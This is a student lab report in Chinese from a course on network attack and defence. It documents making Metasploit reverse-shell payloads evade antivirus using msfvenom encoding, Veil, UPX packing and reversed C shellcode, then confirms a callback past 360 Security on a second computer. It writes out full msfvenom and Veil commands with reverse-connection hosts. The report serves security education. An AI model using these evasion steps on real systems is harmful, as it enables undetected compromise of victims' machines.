1. 程式人生 > 其它 >20192413宗俊豪 2021-2022-2 《網路與系統攻防技術》實驗三實驗報告

20192413宗俊豪 2021-2022-2 《網路與系統攻防技術》實驗三實驗報告

20192413 宗俊豪 2021-2022-2 《網路與系統攻防技術》實驗三實驗報告

1.實驗內容

(1)正確使用msf編碼器,veil-evasion,自己利用shellcode程式設計等免殺工具或技巧

  • 正確使用msf編碼器,使用msfvenom生成如jar之類的其他檔案

  • veil,加殼工具

  • 使用C + shellcode程式設計

(2)通過組合應用各種技術實現惡意程式碼免殺

如果成功實現了免殺的,簡單語言描述原理,不要截圖。與殺軟共生的結果驗證要截圖。

(3)用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本

2.實驗過程

2.1 正確使用msf編碼器,veil-evasion,自己利用shellcode程式設計等免殺工具或技巧

2.1.1 用Virus Total檢測實驗二中生成的後門檔案

2.1.2 使用msf編碼器生成.exe檔案,並用Virus Total檢測

2.1.3 使用msf編碼器生成.jar檔案,並用Virus Total檢測

2.1.4 使用msf編碼器生成.php檔案,並用Virus Total檢測

2.1.5 使用veil生成後門檔案

  • 安裝veil
  • 輸入use evasion命令進入Evil-Evasion,輸入命令 use c/meterpreter/rev_tcp.py 進入配置介面

  • 輸入命令 set LHOST 192.168.227.131 設定反彈連線IP,輸入命令 set LPORT 2413 設定埠,輸入命令 options 檢視配置

  • 輸入命令 generate 生成檔案

  • 檢測veil生成的後門程式

2.1.6 對後門檔案進行加殼處理

  • 輸入upx 20192413MS.exe -o 20192413MSK.exe進行加殼

  • 檢測

2.1.7 使用C + shellcode程式設計

  • 用msf生成一段shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.227.131 LPORT=2413 -f c,並將其中的機器語言段複製到20192413MSc.c檔案中

  • i686-w64-mingw32-g++ 20192413MSc.c -o 20192413MSc.exe編譯為可執行檔案

  • 檢測

2.2 通過組合應用各種技術實現惡意程式碼免殺

通過組合C+shellcode+逆序實現惡意程式碼免殺

2.2.1 先用msf生成一段shellcode:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.227.131 LPORT=2413 -f c

2.2.2 將機器語言部分複製到c檔案中並且實現逆序

2.2.3 將逆序結果複製到20192413MSL.c中

2.2.4 將c檔案編譯生成20192413MSL.exe

傳輸到主機中檢測免殺成功

2.3 用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本

2.3.1 將kali轉換為“橋接模式”,重新生成免殺軟體

2.3.2 輸入 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.223.131 lport=2413 -f raw -o 20192413MStest.raw

2.3.3 傳輸進入對方電腦後用360安全衛士(13.0版本)進行掃描,未發現威脅

2.3.4 用與實驗二相同的方法在本機kali中進行監聽,並在對方電腦中輸入shellcode_launcher.exe -i 20192413MStest.raw


回連成功

3.問題及解決方案

  • 問題1:下載veil時提示空間不足無法下載
  • 問題1解決方案:重新安裝一個虛擬機器並分配多一些磁碟空間
  • 問題2:veil安裝程式無法正常進入
  • 問題2解決方案:在編輯setup.sh檔案時,地址後有一空格不能刪除
  • 問題3: veil安裝時克隆進度卡住
  • 問題3解決方案:WiFi太慢,無法git pull,會出現網路錯誤。換成手機熱點之後很快就會安裝成功

4.問題回答

1.殺軟是如何檢測出惡意程式碼的?

三種方法:
(1)基於特徵碼的檢測
在每個殺軟中都存在一個儲存特徵碼的庫,而能識別出來的惡意程式碼都會有這樣的一段或者多段程式碼,它可以唯一的標識這個惡意程式碼,並且其他的檔案裡是沒有的。
(2)啟發式惡意軟體檢測
啟發式惡意軟體檢測是通過片面特徵推斷是否是惡意程式碼,沒有特徵碼檢測那麼精確。
(3)基於行為的檢測
通過行為識別的,只關心他幹了什麼事,指通用的、多特徵的、非精確的掃描。

2.免殺是做什麼?

一般40%-98%的惡意軟體會被殺軟檢測出來,殺軟無法檢測出所有的惡意軟體。免殺就是通過一些方式例如軟體加殼、加密、重新編譯等等,讓殺軟無法檢測出來惡意軟體。

3.免殺的基本方法有哪些?

(1)改變特徵碼

  • 如果只有exe檔案:可以進行加殼——包括壓縮殼、加密殼等
  • 如果還有shellcode可以使用encode進行編碼,改變他原本的特徵碼或基於payload重新編譯生成可執行檔案
  • 如果有原始碼可以用其他語言進行重寫再編譯

(2)改變行為

  • 通訊方式
    儘量使用反彈式連線
    使用隧道技術
    加密通訊資料

  • 操作模式
    基於記憶體操作
    減少對系統的修改
    加入混淆作用的正常功能程式碼

5.學習感悟、思考等

本次實驗中體驗了通過多種技術混合實現免殺的過程,相比於簡單的後門,實現免殺更加貼合實際生活。在實驗中也學會了veil的使用、對檔案的加殼處理,對於msf的使用也更加深入。在實驗中也出現了很多的狀況,尤其是安裝veil的過程中每一步基本都需要去查閱資料解決報錯,但是通過這些也提高了自己解決問題的能力。